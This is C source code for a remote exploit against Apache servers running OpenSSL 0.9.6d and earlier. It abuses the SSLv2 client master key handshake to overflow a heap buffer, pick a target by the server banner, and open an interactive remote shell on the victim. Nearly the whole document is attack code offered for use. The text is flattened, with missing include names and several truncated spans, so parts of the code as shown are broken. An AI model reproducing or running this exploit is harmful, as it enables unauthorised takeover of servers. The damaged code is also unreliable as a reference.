/*gcc -o t t.c -lcrypto *OpenSSL v0.9.6d and below remote exploit */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include unsigned long myip=0; void conv(char *str,int len,unsigned long server) { memset(str,0,len); strcpy(str,(char*)inet_ntoa(*(struct in_addr*)&server)); } void cleanup(char *buf) { while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ') buf[strlen(buf)-1] = 0; while(*buf == '\n' || *buf == '\r' || *buf == ' ') { unsigned long i; for (i=strlen(buf)+1;i>0;i--) buf[i-1]=buf[i]; } } char *GetAddress(char *ip) { struct sockaddr_in sin; fd_set fds; int n,d,sock; char buf[1024]; struct timeval tv; sock = socket(PF_INET, SOCK_STREAM, 0); sin.sin_family = PF_INET; sin.sin_addr.s_addr = inet_addr(ip); sin.sin_port = htons(80); if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL; write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n")); tv.tv_sec = 15; tv.tv_usec = 0; FD_ZERO(&fds); FD_SET(sock, &fds); memset(buf, 0, sizeof(buf)); if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) { if(FD_ISSET(sock, &fds)) { if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL; for (d=0;d> 8)&0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2) typedef struct { int sock; unsigned char challenge[CHALLENGE_LENGTH]; unsigned char master_key[RC4_KEY_LENGTH]; unsigned char key_material[RC4_KEY_MATERIAL_LENGTH]; int conn_id_length; unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH]; X509 *x509; unsigned char* read_key; unsigned char* write_key; RC4_KEY* rc4_read_key; RC4_KEY* rc4_write_key; int read_seq; int write_seq; int encrypted; } ssl_conn; long getip(char *hostname) { struct hostent *he; long ipaddr; if ((ipaddr = inet_addr(hostname)) < 0) { if ((he = gethostbyname(hostname)) == NULL) exit(-1); memcpy(&ipaddr, he->h_addr, he->h_length); } return ipaddr; } int sh(int sock) { char localip[256], rcv[1024]; fd_set rset; int maxfd, n; sleep(2); write(sock, "uname -a;id\n", strlen("uname -a;id\n")); while (1) { fd_set fds; int n; struct timeval tv; char buf[1024]; tv.tv_sec = 5; tv.tv_usec = 0; FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(sock, &fds); memset(buf, 0, sizeof(buf)); if(select(sock + 1, &fds, NULL, NULL, &tv) > 0) { if(FD_ISSET(sock, &fds)) { if((n = read(sock, buf, sizeof(buf) - 1)) <= 0) break; write(1, buf, n); } if(FD_ISSET(0, &fds)) { if((n = read(0, buf, sizeof(buf) - 1)) < 0) exit(1); write(sock, buf, n); } }//end select }//end while } int get_local_port(int sock) { struct sockaddr_in s_in; unsigned int namelen = sizeof(s_in); if (getsockname(sock, (struct sockaddr *)&s_in, &namelen) < 0) exit(1); return s_in.sin_port; } int connect_host(char* host, int port) { struct sockaddr_in s_in; int sock; s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = getip(host); s_in.sin_port = htons(port); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) exit(1); alarm(10); if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) exit(1); alarm(0); return sock; } ssl_conn* ssl_connect_host(char* host, int port) { ssl_conn* ssl; if (!(ssl = (ssl_conn*) malloc(sizeof(ssl_conn)))) exit(1); ssl->encrypted = 0; ssl->write_seq = 0; ssl->read_seq = 0; ssl->sock = connect_host(host, port); return ssl; } char res_buf[30]; int read_data(int sock, unsigned char* buf, int len) { int l; int to_read = len; do { if ((l = read(sock, buf, to_read)) < 0) exit(1); to_read -= len; } while (to_read > 0); return len; } int read_ssl_packet(ssl_conn* ssl, unsigned char* buf, int buf_size) { int rec_len, padding; read_data(ssl->sock, buf, 2); if ((buf[0] & 0x80) == 0) { rec_len = ((buf[0] & 0x3f) << 8) | buf[1]; read_data(ssl->sock, &buf[2], 1); padding = (int)buf[2]; } else { rec_len = ((buf[0] & 0x7f) << 8) | buf[1]; padding = 0; } if ((rec_len <= 0) || (rec_len > buf_size)) exit(1); read_data(ssl->sock, buf, rec_len); if (ssl->encrypted) { if (MD5_DIGEST_LENGTH + padding >= rec_len) { if ((buf[0] == SSL2_MT_ERROR) && (rec_len == 3)) return 0; else exit(1); } RC4(ssl->rc4_read_key, rec_len, buf, buf); rec_len = rec_len - MD5_DIGEST_LENGTH - padding; memmove(buf, buf + MD5_DIGEST_LENGTH, rec_len); } if (buf[0] == SSL2_MT_ERROR) { if (rec_len != 3) exit(1); else return 0; } return rec_len; } void send_ssl_packet(ssl_conn* ssl, unsigned char* rec, int rec_len) { unsigned char buf[BUFSIZE]; unsigned char* p; int tot_len; MD5_CTX ctx; int seq; if (ssl->encrypted) tot_len = rec_len + MD5_DIGEST_LENGTH; else tot_len = rec_len; if (2 + tot_len > BUFSIZE) exit(1); p = buf; s2n(tot_len, p); buf[0] = buf[0] | 0x80; if (ssl->encrypted) { seq = ntohl(ssl->write_seq); MD5_Init(&ctx); MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH); MD5_Update(&ctx, rec, rec_len); MD5_Update(&ctx, &seq, 4); MD5_Final(p, &ctx); p+=MD5_DIGEST_LENGTH; memcpy(p, rec, rec_len); RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]); } else memcpy(p, rec, rec_len); send(ssl->sock, buf, 2 + tot_len, 0); ssl->write_seq++; } void send_client_hello(ssl_conn *ssl) { int i; unsigned char buf[BUFSIZE] = "\x01" "\x00\x02" "\x00\x18" "\x00\x00" "\x00\x10" "\x07\x00\xc0\x05\x00\x80\x03\x00" "\x80\x01\x00\x80\x08\x00\x80\x06" "\x00\x40\x04\x00\x80\x02\x00\x80" ""; for (i = 0; i < CHALLENGE_LENGTH; i++) ssl->challenge[i] = (unsigned char) (rand() >> 24); memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH); send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH); } void get_server_hello(ssl_conn* ssl) { unsigned char buf[BUFSIZE]; unsigned char *p, *end; int len; int server_version, cert_length, cs_length, conn_id_length; int found; if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1); if (len < 11) exit(1); p = buf; if (*(p++) != SSL2_MT_SERVER_HELLO) exit(1); if (*(p++) != 0) exit(1); if (*(p++) != 1) exit(1); n2s(p, server_version); if (server_version != 2) exit(1); n2s(p, cert_length); n2s(p, cs_length); n2s(p, conn_id_length); if (len != 11 + cert_length + cs_length + conn_id_length) exit(1); ssl->x509 = NULL; ssl->x509=d2i_X509(NULL,&p,(long)cert_length); if (ssl->x509 == NULL) exit(1); if (cs_length % 3 != 0) exit(1); found = 0; for (end=p+cs_length; p < end; p += 3) if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80)) found = 1; if (!found) exit(1); if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) exit(1); ssl->conn_id_length = conn_id_length; memcpy(ssl->conn_id, p, conn_id_length); } void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) { int encrypted_key_length, key_arg_length, record_length; unsigned char* p; int i; EVP_PKEY *pkey=NULL; unsigned char buf[BUFSIZE] = "\x02" "\x01\x00\x80" "\x00\x00" "\x00\x40" "\x00\x08"; p = &buf[10]; for (i = 0; i < RC4_KEY_LENGTH; i++) ssl->master_key[i] = (unsigned char) (rand() >> 24); pkey=X509_get_pubkey(ssl->x509); if (!pkey) exit(1); if (pkey->type != EVP_PKEY_RSA) exit(1); encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING); if (encrypted_key_length <= 0) exit(1); p += encrypted_key_length; if (key_arg_overwrite) { for (i = 0; i < 8; i++) *(p++) = (unsigned char) (rand() >> 24); memcpy(p, key_arg_overwrite, key_arg_overwrite_len); key_arg_length = 8 + key_arg_overwrite_len; } else key_arg_length = 0; p = &buf[6]; s2n(encrypted_key_length, p); s2n(key_arg_length, p); record_length = 10 + encrypted_key_length + key_arg_length; send_ssl_packet(ssl, buf, record_length); ssl->encrypted = 1; } void generate_key_material(ssl_conn* ssl) { unsigned int i; MD5_CTX ctx; unsigned char *km; unsigned char c='0'; km=ssl->key_material; for (i=0; imaster_key,RC4_KEY_LENGTH); MD5_Update(&ctx,&c,1); c++; MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH); MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length); MD5_Final(km,&ctx); km+=MD5_DIGEST_LENGTH; } } void generate_session_keys(ssl_conn* ssl) { generate_key_material(ssl); ssl->read_key = &(ssl->key_material[0]); ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY)); RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key); ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]); ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY)); RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key); } void get_server_verify(ssl_conn* ssl) { unsigned char buf[BUFSIZE]; int len; if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1); if (len != 1 + CHALLENGE_LENGTH) exit(1); if (buf[0] != SSL2_MT_SERVER_VERIFY) exit(1); if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) exit(1); } void send_client_finished(ssl_conn* ssl) { unsigned char buf[BUFSIZE]; buf[0] = SSL2_MT_CLIENT_FINISHED; memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length); send_ssl_packet(ssl, buf, 1+ssl->conn_id_length); } void get_server_finished(ssl_conn* ssl) { unsigned char buf[BUFSIZE]; int len; int i; if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) exit(1); if (buf[0] != SSL2_MT_SERVER_FINISHED) exit(1); if (len <= 112) exit(1); cipher = *(int*)&buf[101]; ciphers = *(int*)&buf[109]; } void get_server_error(ssl_conn* ssl) { unsigned char buf[BUFSIZE]; int len; if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) exit(1); } void exploit(int os,char *ip,int port) { int i; int arch=-1; int N = 20; ssl_conn* ssl1; ssl_conn* ssl2; char *a; alarm(3600); arch = os ; if (os ==-1) { if ((a=GetAddress(ip)) == NULL) exit(0); if (strncmp(a,"Apache",6)) exit(0); for (i=0;architectures[i].os!=NULL;i++) { if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os)) { arch=i; break; } } if (arch == -1) arch=10; } srand(0x31337); for (i=0; isock); overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff); overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff); *(int*)&overwrite_next_chunk[156] = cipher; *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12; *(int*)&overwrite_next_chunk[196] = ciphers + 16; send_client_hello(ssl2); get_server_hello(ssl2); send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1); generate_session_keys(ssl2); get_server_verify(ssl2); for (i = 0; i < ssl2->conn_id_length; i++) ssl2->conn_id[i] = (unsigned char) (rand() >> 24); send_client_finished(ssl2); get_server_error(ssl2); sh(ssl2->sock); close(ssl2->sock); close(ssl1->sock); exit(0); } int main(int argc, char * argv[]) { int port = 443; int os,i; if (argc < 3) { printf("APACHE + OPENSSL EXPLOIT\n\n"); for (i=0;architectures[i].os!=NULL;i++) printf("target %d %s %s %p\n",i,architectures[i].os,architectures[i].apache,architectures[i].func_addr); printf("\n"); printf("usage:%s target hostip [port]\n",argv[0]); printf("usage:%s auto hostip [port] to auto select target\n",argv[0]); exit(0); } if (argc >3 ) { port = atoi(argv[3]); } if (strcmp("auto",argv[1])==0) os = -1; else os =atoi(argv[1]); exploit(os,argv[2],port); return 0; }